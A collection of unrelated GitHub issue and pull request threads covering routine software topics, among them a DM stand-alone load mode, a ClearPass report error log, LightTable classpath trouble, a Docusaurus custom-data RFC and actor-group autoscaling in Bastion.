dm: add a stand-alone load mode

What problem does this PR solve?

Issue Number: close https://github.com/pingcap/tiflow/issues/9230
What is changed and how it works?
Primary work to add a stand-alone load mode to DM, alongside with dump mode. Load&Sync mode might not be needed anymore and could be depreciated in the future.
UT/IT added are under testing and will be pushed soon.
Continue the work from https://github.com/pingcap/tiflow/pull/11738 as its intended change in openapi conflicted with that of https://github.com/pingcap/tiflow/pull/11729.
Check List
Tests

[x] Unit test
[x] Integration test
Manual test (add detailed scripts or steps below)
No code

Questions
Will it cause performance regression or break compatibility?
N/A
Do you need to update user documentation, design documentation or monitoring documentation?
Yes. Description of those standalone modes would need to be added to docs for openapi only. Support for dmctl will be delayed further.
Release note
Please refer to [Release Notes Language Style Guide](https://pingcap.github.io/tidb-dev-guide/contribute-to-tidb/release-notes-style-guide.html) to write a quality release note.

If you don't think this PR needs a release note then fill it with `None`.

/test engine-integration-test

/test dm-integration-test

/retest

/test dm-integration-test

/test dm-compatibility-test

/retest

/retest

/retest

/retest

/cc @alastori @BenMeadowcroft PTAL

lgtm

/retest

/retest


@open-wc/testing doesn't work with node 17

Expected behavior
npm test to work
Actual Behavior
After updating node from version 16 to 17, @open-wc/testing seems to have a breaking issue.
Now npm test will try to start chrome headless but it will always timeout, I think it's related to @open-wc/karma-esm, because if I remove the esm framework then karma seems to start chrome successfully.
Additional context
"@open-wc/testing": "^3.0.0-next.5",
"@open-wc/testing-helpers": "^2.0.0-next.3",
"karma": "^6.3.17",

We recommend using @web/test-runner instead of karma


Cannot bind argument to parameter 'Rows' because it is an empty collection

Hi,
I wanna try your cool tools in my company but I got an error during the Built report :
WARNING: [ 16:38:40:725 ] [ Document ] - Cannot bind argument to parameter 'Rows' because it is an empty collection
the target CPPM version is : <IP_ADDRESS>087 , have you already seen this error ?
best regards

some verbose :
VERBOSE: Config.Company.FullName = VERBOSE: Config.Company.Contact = VERBOSE: Config.Company.Phone = VERBOSE: Config.Company.Email = VERBOSE: Config.Company.ShortName = VERBOSE: Config.Company.Address = VERBOSE: Config.Email.Port = VERBOSE: Config.Email.Credentials = VERBOSE: Config.Email.Server = VERBOSE: Config.Email.To = VERBOSE: Config.Email.From = VERBOSE: Config.Email.UseSSL = VERBOSE: Config.Email.Body = VERBOSE: Populating RepositorySourceLocation property for module AsBuiltReport.Aruba.ClearPass. VERBOSE: Loading module from path 'C:\Users\X.X.X.X\Documents\WindowsPowerShell\Modules\AsBuiltReport.Aruba.ClearPass\0.1.1\AsBuiltReport.Aru ba.ClearPass.psm1'. VERBOSE: Loading report configuration file from path 'C:\Users\X.X.X.X\Documents\WindowsPowerShell\Modules\AsBuiltReport.Aruba.ClearPass\0.1.1\AsBuiltReport.Aru ba.ClearPass.json'. VERBOSE: Setting report filename to 'Aruba ClearPass As Built Report - 2024-02-19_16.47.10'. VERBOSE: [ 16:47:10:572 ] [ Document ] - Document 'Aruba ClearPass As Built Report - 2024-02-19_16.47.10' processing started. VERBOSE: [ 16:47:10:620 ] [ Document ] - Executing report style script from path 'C:\Users\X.X.X.X\Documents\WindowsPowerShell\Modules\AsBuiltReport.Aruba.ClearPass\0.1.1\AsBuiltReport.Aru ba.ClearPass.Style.ps1'. VERBOSE: [ 16:47:10:634 ] [ Document ] - Setting global document options. VERBOSE: [ 16:47:10:637 ] [ Document ] - Enabling section/heading numbering. VERBOSE: [ 16:47:10:639 ] [ Document ] - Setting default font(s) to 'Arial'. VERBOSE: [ 16:47:10:642 ] [ Document ] - Setting page top margin to '25,05'mm. VERBOSE: [ 16:47:10:645 ] [ Document ] - Setting page right margin to '25,05'mm. VERBOSE: [ 16:47:10:647 ] [ Document ] - Setting page bottom margin to '25,05'mm. VERBOSE: [ 16:47:10:650 ] [ Document ] - Setting page left margin to '25,05'mm. VERBOSE: [ 16:47:10:653 ] [ Document ] - Setting page size to 'A4'. VERBOSE: [ 16:47:10:655 ] [ Document ] - Setting page orientation to 'Portrait'. VERBOSE: [ 16:47:10:659 ] [ Document ] - Setting page height to '297'mm. VERBOSE: [ 16:47:10:662 ] [ Document ] - Setting page width to '210'mm. VERBOSE: [ 16:47:10:664 ] [ Document ] - Setting document style 'Title'. VERBOSE: [ 16:47:10:668 ] [ Document ] - Setting document style 'Title2'. VERBOSE: [ 16:47:10:671 ] [ Document ] - Setting document style 'Title3'. VERBOSE: [ 16:47:10:674 ] [ Document ] - Setting document style 'Heading1'. VERBOSE: [ 16:47:10:678 ] [ Document ] - Setting document style 'Heading2'. VERBOSE: [ 16:47:10:681 ] [ Document ] - Setting document style 'Heading3'. VERBOSE: [ 16:47:10:684 ] [ Document ] - Setting document style 'Heading4'. VERBOSE: [ 16:47:10:687 ] [ Document ] - Setting document style 'Heading5'. VERBOSE: [ 16:47:10:692 ] [ Document ] - Setting document style 'Normal'. VERBOSE: [ 16:47:10:695 ] [ Document ] - Setting document style 'Caption'. VERBOSE: [ 16:47:10:699 ] [ Document ] - Setting document style 'Header'. VERBOSE: [ 16:47:10:703 ] [ Document ] - Setting document style 'Footer'. VERBOSE: [ 16:47:10:706 ] [ Document ] - Setting document style 'TOC'. VERBOSE: [ 16:47:10:711 ] [ Document ] - Setting document style 'TableDefaultHeading'. VERBOSE: [ 16:47:10:715 ] [ Document ] - Setting document style 'TableDefaultRow'. VERBOSE: [ 16:47:10:722 ] [ Document ] - Setting document style 'Critical'. VERBOSE: [ 16:47:10:727 ] [ Document ] - Setting document style 'Warning'. VERBOSE: [ 16:47:10:732 ] [ Document ] - Setting document style 'Info'. VERBOSE: [ 16:47:10:737 ] [ Document ] - Setting document style 'OK'. VERBOSE: [ 16:47:10:743 ] [ Document ] - Setting table style 'TableDefault'. VERBOSE: [ 16:47:10:747 ] [ Document ] - Setting table style 'Borderless'. VERBOSE: [ 16:47:10:754 ] [ Document ] - Processing document header started. VERBOSE: [ 16:47:10:758 ] [ Document ] - Processing paragraph 'Aruba ClearPass As Built Report - v1.0'. VERBOSE: [ 16:47:10:762 ] [ Document ] - Processing document header completed. VERBOSE: [ 16:47:10:765 ] [ Document ] - Processing document footer started. VERBOSE: [ 16:47:10:768 ] [ Document ] - Processing paragraph 'Page <!# PageNumber #!>'. VERBOSE: [ 16:47:10:772 ] [ Document ] - Processing document footer completed. VERBOSE: [ 16:47:10:775 ] [ Document ] - Processing blank line. VERBOSE: [ 16:47:10:778 ] [ Document ] - Processing image 'AsBuiltReport Logo'. VERBOSE: [ 16:47:10:785 ] [ Document ] - Processing blank line. VERBOSE: [ 16:47:10:788 ] [ Document ] - Processing paragraph 'Aruba ClearPass As Built Report'. VERBOSE: [ 16:47:10:792 ] [ Document ] - Processing blank line. VERBOSE: [ 16:47:10:795 ] [ Document ] - Processing table 'Cover Page'. VERBOSE: [ 16:47:10:799 ] [ Document ] - Processing page break. VERBOSE: [ 16:47:10:801 ] [ Document ] - Processing table of contents 'Table of Contents'. VERBOSE: [ 16:47:10:804 ] [ Document ] - Processing page break. VERBOSE: [ 16:47:10:807 ] [  Module  ] - Please refer to the AsBuiltReport.Aruba.ClearPass GitHub website for more detailed information about this project. VERBOSE: [ 16:47:10:811 ] [  Module  ] - Do not forget to update your report configuration file after each new version release: https://www.asbuiltreport.com/user-guide/new-asbuiltreportconfig/ VERBOSE: [ 16:47:10:814 ] [  Module  ] - Documentation: https://github.com/AsBuiltReport/AsBuiltReport.Aruba.ClearPass VERBOSE: [ 16:47:10:816 ] [  Module  ] - Issues or bug reporting: https://github.com/AsBuiltReport/AsBuiltReport.Aruba.ClearPass/issues VERBOSE: [ 16:47:10:866 ] [  Module  ] - AsBuiltReport.Aruba.ClearPass 0.1.1 is currently installed. VERBOSE: [ 16:47:11:530 ] [ Document ] - Connect to X.X.X.X : X.X.X.X VERBOSE: [ 16:47:11:533 ] [ Document ] - Processing section 'Implementation Report X.X.X.X' started. VERBOSE: [ 16:47:11:536 ] [ Document ] - Processing paragraph 'The following section provides a sum[..]'. VERBOSE: [ 16:47:11:540 ] [ Document ] - Processing blank line. VERBOSE: [ 16:47:11:544 ] [ Document ] - Discovering System settings information from X.X.X.X. VERBOSE: [ 16:47:11:692 ] [ Document ] - Processing section 'Version' started. VERBOSE: [ 16:47:11:696 ] [ Document ] - Processing paragraph 'The following section details Versio[..]'. VERBOSE: [ 16:47:11:700 ] [ Document ] - Processing blank line. VERBOSE: [ 16:47:11:703 ] [ Document ] - Processing table 'Version'. VERBOSE: [ 16:47:11:708 ] [ Document ] - Processing paragraph 'The following section details Patche[..]'. VERBOSE: [ 16:47:11:711 ] [ Document ] - Processing blank line. VERBOSE: [ 16:47:11:715 ] [ Document ] - Processing table 'Patches'. WARNING: [ 16:47:11:721 ] [ Document ] - Cannot bind argument to parameter 'Rows' because it is an empty collection. VERBOSE: [ 16:47:11:728 ] [ Document ] - Document 'Aruba ClearPass As Built Report - 2024-02-19_16.47.10' processing completed. VERBOSE: [ 16:47:11:732 ] [ Document ] - Total processing time '1,16' seconds.

Hi,
it is "known" issue because your ClearPass don't have yet patch, it will be fixed on next release (with #11)

Oh my bad ! Thanks for your feeback ! 👍

Bonjour,
yes, you can ! You can look the fix on #10


Forgot the GPG keys for the new repos

What does this PR change?
dummy packages are currently failing because of missing GPG key. This PR adds it.
it also fixes an error of uyuni-stable that should be uyuni-released.

Thanks for fixing this!

Thanks for fixing this!

I should have tested my rebase in the first place :disappointed: .


Python import not working

$ sudo pip install --upgrade git+https://github.com/googlefonts/fontcrunch.git;
...
$ python;
>>> from fontcrunch import fontcrunch
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python2.7/site-packages/fontcrunch/__init__.py", line 1, in <module>
    from .fontcrunch import optimize
  File "/usr/local/lib/python2.7/site-packages/fontcrunch/fontcrunch.py", line 26, in <module>
    from . import quadopt
ImportError: cannot import name quadopt
>>>

I think installing through pip is broken.

Thank you @khaledhosny ! :)


Re-enable markdownlint CI

We disabled markdownlint ci while adding the specs since it fails for the new files not being on main yet.

Re-enabled.


Does LazyPager block environment variables?

Hi,
I've got an @ Observable class that I pass through my view heirarchy using:
   @Environment(Model.self) var appVM: Model
I'm using LazyPager to provide a slideshow, and need to access the model within the displayed view:
             LazyPager( data: selectedImages, page: $selectedIndex) { element in
                PhotoDetailView(assetID: element, activeID:selectedImages[selectedIndex])
                    .environment(appVM)
            }
For all other views, after adding .environment(appVM)  to my top-level ContentView, I can successfully access the model. However, that didn't work with my PhotoDetailView... The app would crash and say it couldn't find the environment variable. A workaround was for me pass the environment variable again, as shown in the code above. I wasn't sure if this was an artifact of Swift/SwiftUI, or if there was something in LazyPager that blocks propogation of environment variables.

Hey,
This appears to be a bug/limitation. While UIViewControllerRepresentable provides the environment via it's context, applying it changes the type of the view, which I haven't figured out how to handle correctly.
Ill update this issue if I figure it out!
For now, providing the environment again within LazyPager is a good workaround.


LightTable not able to detect classpath of lein project

LightTable not able to detect classpath of lein project, Can someone let me know how to set classpath in lightTable for clojure projects using lein.
java.io.FileNotFoundException: Could not locate guestbook/models

Light Table is just using Leiningen. Are you able to run your project directly with Leiningen?
Also, see the section about bugs in the contributing guidelines:

When filing a bug on GitHub, please help us help you by including the following:

Steps to reproduce the bug.

Relevant configuration in your user.keymap and user.behaviors.

Steps would be helpful.
Your OS, OS version, LT version, and plugin versions (particularly the Clojure plugin) would be helpful too.
It would also also be helpful to share a minimal example version of your project for which you can reproduce this.
All the above having been written, you should probably first try building the latest source version (of the master branch) and then upgrading the Clojure plugin. Well, first try running your project directly with Leiningen. But then try the latest source version.

Basically I created a lein project and imported the root project folder and started liverepl where I pointed the src/guestbook/models/db.clj file using
Also be noted that I'm able to resolve the classpath using lein repl under the same directory i.e., c:\samples\guestbook\lein repl,
[use 'guestbook.models.db]
under lein classpath i can see the path is available, but guestbook model is not getting resolved via lighttable.
One question are there any configuration I need to make to set the lein classpath in lighttable? What would be the default lein classpath in case of LightTable, What I noticed was wherever I run len repl it takes current working directory and adds lein classpath.

@buzzshiva I think there are some severe limitations with the instarepl when handling clojure projects (not sure if it has been recently introduced or not). This issue is related: https://github.com/LightTable/Clojure/issues/55
If you skip using instarepl and rather use eval form or eval editor contents expllicitly should work as you would expect.

This issue has moved to https://github.com/LightTable/ClojureInstarepl/issues/14 as the instarepl is now its own plugin

This issue has moved to https://github.com/LightTable/ClojureInstarepl/issues/14 as the instarepl is now its own plugin


Docker

Hi there - I learned a lot from your repo, thank you. I took a different path to help make it clear in my head about service brokers and how they can be separate from CF (or K8s), and got your broker running in a Docker container, to demonstrate. I also wrote an accompanying blog post which is also linked from docker.md. I'm offering this PR in case you want to incorporate this info into your repo. Cheers.

Closing due to age.


Rails 6 compatibility

Using this gem with Rails 6 results in the following error:
ActionView::Template::Error:
       wrong number of arguments (given 2, expected 1)

This is because in Rails 6, the ActionView template handler for ERB now takes 2 arguments, instead of just 1.
The change was introduced here: rails/rails#35119.

Awesome! I have to admit that this project has been neglected for a while but this looks great.

Hi @jacobsimeon, thanks for this gem, finding it quite clean and useful. Any chance for this pull request to be merged? I had the same issue and just found this pull request which fixes it in Rails 7 as well 🤩


Mentioned users can get banned from Hacktoberfest in PR Template

Hacktoberfest notes:

Due to volume of submissions, we may not be able to review PRs that do not pass tests and do not have informative titles.
Please read our contributing guidelines.
Be sure to check the output of Travis CI for linter errors.
If this is your first open-source contribution, make sure it's not your last!
Please note that users that do many PRs marked as invalid/spam, may now get banned from all Hacktoberfests, not just this one.

What does this PR do?
Improve Repo?
For resources
Description
(Look at the "Hacktoberfest notes" notes section, basically it changes it to that.)
There isn't much of Hacktoberfest left, and I'm not seeing too much spam, so this might be redundant.
This just adds a link to the new rules. It makes clear to users doing a PR, or at least the ones that bother to read the template, that they can get banned from not only this Hacktoberfest, but all future Hacktoberfests if they have too many PRs marked as spam or invalid.
(While I was at it, I also added capitalization and periods to the points.)
Why is this valuable (or not)?
I'm hoping maybe some spam PRs (not that I saw too many) won't get made when this is mentioned to them, reducing effort for the maintainers. If not for this repository, then I hope people that read it decide not to spam other repositories.
How do we know it's really free?
N/A
For book lists, is it a book? For course lists, is it a course? etc.
N/A
Checklist:

[x] Not a duplicate
N/A Included author(s) if appropriate
N/A Lists are in alphabetical order
N/A Needed indications added (PDF, access notes, under construction)

I've only had to ban one user this month, and no clearly intentional spams. Have invited you to be a reviewer, I think that will let you add tags to PRs.

Also, the people who read the notes are not the ones we have problems with!

Sorry I didn't mean banned from this repository.
Hacktoberfest now specified if a person gets a PR labelled as invalid or spam just twice, they will be prohibited from participating in Hacktoberfest forever.
They will be banned from Hacktoberfest, not this repository, is what I meant.

@eshellman
Thank you for the invite! Sorry to pester, I decided to explore a little now. (New to GitHub as a reviewer, since I mostly maintain projects on GitLab.)
I don't think I'm able to put labels on issues on pull requests however. I've checked out the teams feature and think it might because the team has the Read permission, but what you described sounds like the Triage permission. Please let me know if I've misunderstood, though.


Adapt test coverage threshold

Motivation and Context
The last time the threshold was raised, the current coverage was taken as the new threshold which is apparently common practice. This causes issues since simple refactoring (e.g. shorter variable names causing multiple lines to collapse to one or vice versa) can already change these values on a small level. This causes the client tests to fail, which can only be fixed by creating tests even if they are not within the scope. In the best case, these were missing tests, but usually, they are just tests that have no value to the project.
Description
The current values in the develop branch are (Stmts, Branch, Funcs, Lines) (77.73, 59, 67.47, 77.2). I rounded them down to one decimal and subtracted 0.3 as a leeway => (77.7, 59, 67.4, 77.2) => (77.4, 58.7, 67.1, 76.9).
I think 0.3 as a leeway is a good value. Other values can be proposed.
This ensures that small refactorings don't cause tests to fail due to the test coverage. Benefits:

Better development experience
No creation of useless tests to only satisfy the statistics => Higher test quality

Steps for Testing

Take a look at the calculation of the numbers
Think about whether 0.3 as a leeway is reasonable.

Review Progress

Code Review

[ ] Review 1
[ ] Review 2

@FuchsDominik
Not discussed, just proposed but @krusche gave a thumbs up on the PR on Slack and Jan has to merge it anyway so I guess, yes.


Train a SemiSupervisedIOHMM

I was using SemiSupervisedIOHMM from IOHMM package, but I got an error which is "ValueError: too many values to unpack (expected 2)". To understand the problem I ran your code (https://github.com/Mogeng/IOHMM/blob/master/examples/notebooks/SemiSupervisedIOHMM.ipynb) on your given data (https://github.com/Mogeng/IOHMM/blob/master/examples/data/speed.csv), and again got the same error. Could you please help me with this?

@tasnubajamal  Hi, I am also facing the same problem. I was able to run the exact same code successfully  last year, but I am not sure why it's not working now.

Thanks @tasnubajamal and @chenliangpeng for reporting the issue and thanks @edeno for resolving the issue. This is due to sklearn package update. I updated the package. You can uninstall the original IOHMM package and reinstall the latest version 0.0.7. Please let me know if the issue is not resolved. Thanks for using this package!


Transducer.tryCatch

resolves https://github.com/a-synchronous/rubico/issues/254
adds the tryCatch method to the Transducer module, which is a transducer version of the core tryCatch

Codecov Report
Patch coverage: 100.00% and no project coverage change.

Comparison is base (7d8b8ef) 99.60% compared to head (dc646d5) 99.60%.

:exclamation: Current head dc646d5 differs from pull request most recent head 40e623d. Consider uploading reports for the commit 40e623d to get more accurate results

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
Additional details and impacted files
@@           Coverage Diff           @@
##           master     #255   +/-   ##
=======================================
  Coverage   99.60%   99.60%
=======================================
  Files         224      226    +2
  Lines        3266     3318   +52
=======================================
+ Hits         3253     3305   +52
  Misses         13       13

Impacted Files
Coverage Δ

Transducer.js
100.00% <100.00%> (ø)

_internal/reducerTryCatch.js
100.00% <100.00%> (ø)

... and 1 file with indirect coverage changes

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Newtonsoft from Unity Asset Store conflict

I've been running into a couple issues attempting to use the GLTFSerialization.dll in a project that already depends on this version of Netwonsoft on the Unity Asset Store:
https://assetstore.unity.com/packages/tools/input-management/json-net-for-unity-11347
One option would be to remove the Asset Store version of the DLLs from the project and use the ones from the glTF build.  When I attempt this I run into some build issues on UWP/Hololens.  I've followed the guidelines here but am still getting a few errors when I go to create the UWP project from Unity:
https://github.com/KhronosGroup/UnityGLTF/issues/147
I'm sure that I can probably resolve these, but I'm curious what folks think about linking against the Newtonsoft DLLs from the Asset Store rather than the nuget versions.  In my experience the Asset Store versions tend to be the most reliably when building across different platforms.  These also seem like the most likely versions that my already be in use by Unity projects that require JSON for things besides glTF support.
This is easy to work around when building the project yourself so this isn't a big issue.  But I thought I would bring it up for consideration in case anyone else has found themselves needing to do something similar.

I think making the json serializer via built I'm Unity utility is a good start and letting people upgrade to newtonsoft is probably a good idea.
It'll be nice if unity opened up their package manager to include thing's like this so it'll be easier to just pull the package if it's needed.

See #60

Looks like this is a duplicate of #199


certificationInfo, exception, coordinateReferenceSystem

Add these fields to the canonical property order

Prepare example(s) in *.xml and *.jsonld

Adjust readMe

Hi @RalphTro
We just wanted to confirm the order of these elements in the pre-hash string. Should it appear at the bottom or before extensions? If possible can you please add these elements as a part of property in the table that you have provided?

Hi @Aravinda93 ,
As things stand now, we most probably will insert these three fields in the property order as follows:
…
sensorReport (type, exception, deviceID, deviceMetadata, rawData, dataProcessingMethod, time, microorganism, chemicalSubstance, value, component, stringValue, booleanValue, hexBinaryValue, uriValue, minValue, maxValue, meanValue, sDev, percRank, percValue, uom, coordinateReferenceSystem)
…
…
3. eventTimeZoneOffset
4. certificationInfo
5. epcList – epc
…
As to your question: gladly - the readMe wil be updated as part of an upcoming PR - stay tuned!
Have a nice weekend and kind regards,
Ralph

Dear @RalphTro,
Thanks a lot for the confirmation on the order for these elements.
Have a nice weekend and kind regards,
Aravinda

Sebastian/Ralph to have a look at PR 81

PR 81 deployed


DataTable example is scrollable

I wrapped SizedBox with SingleChildScrollView widget and initialized numItems as 100.

data-table.webm

Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).
View this failed invocation of the CLA check for more information.
For the most up to date status, view the checks section at the bottom of the pull request.

Closing as duplicate of https://github.com/flutter/flutter/pull/131556


Include and build sfizz~

this PR includes almost all files from https://github.com/sfztools/sfizz-ui to the else repo. this is around 120MB (consider before merge :).
example usages:
build:
make sfizz
install:
make sfizz-install objectsdir=./out extension=m_amd64
clean:
make sfizz-clean

this is around 120MB (consider before merge :).

too late, merged before seeing this, hahaha, well... whatever, I don't really care, I got space in my machine

now that im thinking make sfizz-install will not work on mac and linux. I need more work.
i'll have a PR soon.

it did work for me though

oh, maybe not the "install"?

don't test it it wont work. I already have a fix. making a PR...

done via #1680

i dont understand what was wrong and how to test the new thing now

you can now do
make sfizz-install objectsdir=./out extension=d_amd64
this change the file extension and move all files to objectsdir

ok, well, actually I am starting a new repository and I hope you can help me with some issues, let's move it there

sure, where?

https://github.com/porres/pd-sfizz/issues/1

https://github.com/porres/pd-sfizz/issues/1

404 error

besides the 404 page not found, why you decided to move it out of else?
is it for the files size?
we can make it a submodule if so.

it is now public try again https://github.com/porres/pd-sfizz/issues/1
I'm not taking it out of else, just gonna work on in separately then "merge" it back to else when it is ready... I usually do this, I did it with the [knob] object, with [sfont~] and seems reasonable to me, do you mind?


Write many lines in file

Hi for everybody
I'm not sure if this issue is my error or a library error, but i'm trying to write a file log, but the funcion overwrite the first line always, initialy i was using the funcion IFile.WriteAllTextAsync(text) but it overwrite but if i use a streamwriter, the file no change, this is my code.
the file object is the type IFile
using (var stream = await file.OpenAsync(FileAccess.ReadAndWrite))
{
using (var writer = new StreamWriter(stream))
{
writer.WriteLine(data);
writer.Flush();
}
}

Exactly my question is How can I Append text to file using PCLStorage? I'm agree with your answer

Try syncing to the end of the stream before writing to it.

Hi Daniel thanks for your answer
I'm working in PCL context and in this, the function seek doesn't exist, I'm trying use the StreamWriter builder with path and boolean to append but doesn't exist, I hope to find a solution with the PCLStorage, but the examples I've seen about how to use only works with one read and one write, replacing the files.


Vendored Dependencies

We will eventually want to vendor dependencies (including the golang deps) so that go does not fetch them from the internet. There are numerous benefits including security.

/assign @sairameshv

/close
This is done.


RFC: new frontMatter to assign custom data to a doc

Have you read the Contributing Guidelines on issues?

[X] I have read the Contributing Guidelines on issues.

Motivation
For some documentation use-cases, it is convenient to be able to assign additional data to a doc
It should be possible to create fancy views/tables/aggregations of a set of documents based on those extra data and display those anywhere thanks to MDX.

This has been requested/discussed in https://github.com/facebook/docusaurus/issues/6302#issuecomment-1056869348
For example, @Danielku15 wants to display a table of a subset of the documents in a page of his documentation:
https://alphatab.net/docs/reference/settings/

When a doc is created, Docusaurus creates data for this doc in 3 places:

Doc metadata: this contains every interesting data we have related to a docs (including all frontMatter). It can be heavier.
Version metadata: this is shared between all the pages of a given docs version, and thus should remain relatively small.
Global data: this is shared across the whole site page, and must stay as small as possible (so we only include id/path/sidebar here, see https://docusaurus.io/__docusaurus/debug/globalData)

For data shared between multiple pages, the smallest the better. For performance reasons, we can't pre-emptively add any doc data everywhere without penalizing the performance of all the pages.

My suggestion is to add 2 distinct frontMatter to give the ability to assign extra data to a doc on a case-by-case basis
global_custom_props:
  a: b
  c: d
  e: ["f"]

version_custom_props:
  x: {y: 1, z: 2}

This would allow each doc to enrich the predefined minimal version/global data that Docusaurus needs to be able to run.
These data would become available in the React components (swizzled theme components or MDX embedded) so that users can create more fancy experiences.

What if you want to inject data that is not convenient to declare through yaml/frontMatter?
I think the createFrontMatter() proposal https://github.com/facebook/docusaurus/issues/5568 (also frontMatterParser PR https://github.com/facebook/docusaurus/pull/5972) could handle that:
global_custom_props:
  dataPath: ./data/docX_global.json

And the createFrontMatter callback would be responsible to transform the path to a JS object.
And if I want to inject data that already exists as frontMatter?
That would be a bit odd to have to do this to propagate doc title in global data
title: my title
global_custom_props:
  title: my title

Similarly using something like to createFrontMatter would help to set up propagation of existing frontmatter like title into global data
Self-service

[X] I'd be willing to do some initial work on this proposal myself.

This is basically the same as #4492, correct?

That looks quite similar yes, with a more concrete proposal and flexible API?
@kaytwo @zhouzi any opinion on this: would it solve your use-cases?

Some remarks from my side on the proposal 😁

[Clarification] Each Page should still have it's own individual set of properties it can expose globally or within the same version. Very simplified:

// docs/api/PropertyA.mdx
version_custom_props:
  available_since: 1.3.0
// docs/api/PropertyB.mdx
version_custom_props:
  available_since: 1.2.0
// docs/guides/SomeGuide.mdx
export function AvailableSince({id}) { return useDocById(id).version_custom_props.available_since; }

PropertyA is available since version <AvailableSince id="docs/api/PropertyA" /> while PropertyB is only already available since <AvailableSince id="docs/api/PropertyB" />

// docs/guides/SomeGuide.mdx rendered

PropertyA is available since version 1.3.0 while PropertyB is only already available since 1.2.0

I personally would have no use case where all pages are writing to the same global object and can potentially overwrite the values. It would make things complicated to handle.

[Clarification] Should we already try to define how we gonna access this data? It might influence the feature design, especially as you have performance concerns. 😉 From our earlier discussion I guess one way would be through useDocById() which would then have version_custom_props and global_custom_props members in the returned object? It might also be useful to access an overall object where the top level key is the docs id: { "docs/api/PropertyA": { /* same result as returned by getDocById? */ }, "docs/api/PropertyB": { ... } .

[Example Usage] The second feature I would like to achieve with this enhancement is to add rich cross reference tooltips as we can see them when hovering links here in GitHub. When I'm referencing any setting, method, property documented on a different page, I want to provide a corresponding badge which has a tooltip revealing a sneak-peek to the information of the other page. The tooltip will be filled with data from the new title, description and the new **_custom_props:

@kaytwo @zhouzi any opinion on this: would it solve your use-cases?

Actually my use case is closer to #4138 than #4492 so I don't think this new feature would help with that. But it definitely looks like what's described in #4492 👍

#4492 is recommended to be solved with #4138 because we'll likely not add such an option to propagate "arbitrary" front matter as globals. That sounds too prone to anti-patterns.

I planned to upgrade 2.0.0-beta.17 to 2.1.0 but useDocById seems to be unavailable from the official API. So actually parts of my feature request which was solved in #6302 did not make it to the official APIs or was accidentally reverted in
https://github.com/facebook/docusaurus/commit/9473508c33132ac3c0ad7446ccd94fb7b386b085#diff-1ca3eb876a1746df7df2189265d991250dcbe1e54a9f23276d27b22da8b4d0bdL51
I need a mechanism to access also the description of a page by a given page ID to render it in my page. What's the officially intended way of doing this when getting the pages through currentSidebarCategory() and then wanting to access the description of those pages. Duplicating the description into a custom prop is not maintainable.  [DocCard](https://github.com/facebook/docusaurus/blob/f6835898bc067a20959afa1a187647c5988ec9ea/packages/docusaurus-theme-classic/src/theme/DocCard/index.tsx#L101 seems to be the only internal usage of useDocById.
Ping @slorber and @Josh-Cena as authors behind the commit which has hidden useDocById.

@Danielku15 TS not being able to see this API is another issue, but it exists at runtime, and you can solve the TS problem with this workaround: https://github.com/facebook/docusaurus/issues/8226#issuecomment-1284255963
Note that useDocById is not the implementation that gives you access to all docs details, and it can only be called on docs pages of the same version, but it should give you access to the description.

Thanks for the hint with the module resolution, will give that a try. Interesting to see that this is a common issue, I might have to check for my own lib if the different exports are handled correctly when consuming my library. 😅
I am aware that useDocById is not the full solution to this issue here, I also just use it for accessing the description of the same version which is fine for me. I am using useCurrentSidebarCategory for accessing the meta. Might have hijacked this issue because it is a bit the successor of my initial request.

It is possible that React Server Components might be a better solution than the API I'm proposing in this RFC:
https://github.com/facebook/docusaurus/issues/9089
We'll need to figure this out. Should we implement both or will RSC be enough to solve the reported use-cases?


Decimal: Fix init(_ value: Double) to bounds check the exponent

This prevents initialising from Double values that cannot be
stored correctly.

Add extra checks when passing _length and _exponent to initializers.

@swift-ci test

@swift-ci test linux

The Swift project moved the default branch to main and deleted master branch, so GitHub automatically closed the PR. Please re-create pull request with main branch.
More detail about the branch update - https://forums.swift.org/t/updating-branch-names/40412


Move constructors and assignment

At the original time of writing, there was not much support for move construction and move assignment. It might be possible to implement these in the efx version at lease and maybe for the other versions as well. The wide-decimal project can be sued as a partial guide for this on the efx backend.

This had actually been done for the efx version. Check if/how to do it for the others.

Reviewed and checked for each back end implementation. OK.


Autoscaling actor groups in runtime

As the part of this PR, I would to introduce the changes that cover needs in autoscaling actor groups in runtime. The initiative was described in the #155 issue.
How it works
Before starting with the example, any developers needs to enable the scaling feature flag which using for getting an access to desired API, collecting statistical information from actors, etc.
Then, we can import the resizer, and declare the rules around how much actors acceptable (minimal, maximum) for the each actor group. It will be look something like this:
children
    .with_redundancy(3)                                // Start with 3 actors
    .with_resizer(
        Resizer::default()
            .with_lower_bound(0)                       // A minimal acceptable size of group
            .with_upper_bound(UpperBound::Limit(10))   // Max 10 actors in runtime
            .with_upscale_strategy(UpscaleStrategy::MailboxSizeThreshold(3)) // Scale up when a half of actors have more then 3 messages
            .with_upscale_rate(0.1)                    // Increase the size of group on 10%, if necessary to scale up
            .with_downscale_rate(0.2)                  // Decrease the size of group on 20%, if too many free actors
    )

The resizers will take care about reacting on collected stats (currently: active actors and the average mailbox size) and will ask a Child instance to scale up or down the actor group when it necessary in runtime.
Checklist

[x] tests are passing with cargo test.
[x] tests and/or benchmarks are included
[x] documentation is changed or added
[x] commit message is clear

For this API are left to deal with two things:

Find a way to expose the API about the current inner actor's state, so the resizer could forcibly ask for shutdown the actor it's pending and has no message in the mailbox.
Figure out around inconsistency / concurrency access to Arc<AtomicU64>. May be replace it onto Arc<DashMap<BastionId, ActorState>> so we could update this map from any point of code (although then we have to declare / replace onto this type in many places)?


Footer doesn't properly display

Describe the bug
The footer isn't at the bottom for some pages. This is only for the home page however.
To Reproduce
Steps to reproduce the behavior:

Go to the newest preview of the project
Go to the home page
See the error

Expected behavior
It looks like the following (currently):

Here's what it should look like (where the arrows are)

I think it needs to have the "sticky" tag/class within

Maybe this?
Element {
    position: absolute;
    bottom: 0;
}

Sure, try it


Fix local sort

should use the 'dataIndex' prop not name

[Current coverage][cc-pull] is 70.80%

Merging [#20][cc-pull] into [master][cc-base-branch] will increase coverage by 0.49%

@@             master        #20   diff @@
==========================================
  Files            88         88
  Lines          2223       2223
  Methods          90         90
  Messages          0          0
  Branches        268        268
==========================================
+ Hits           1563       1574    +11
+ Misses          583        572    -11
  Partials         77         77

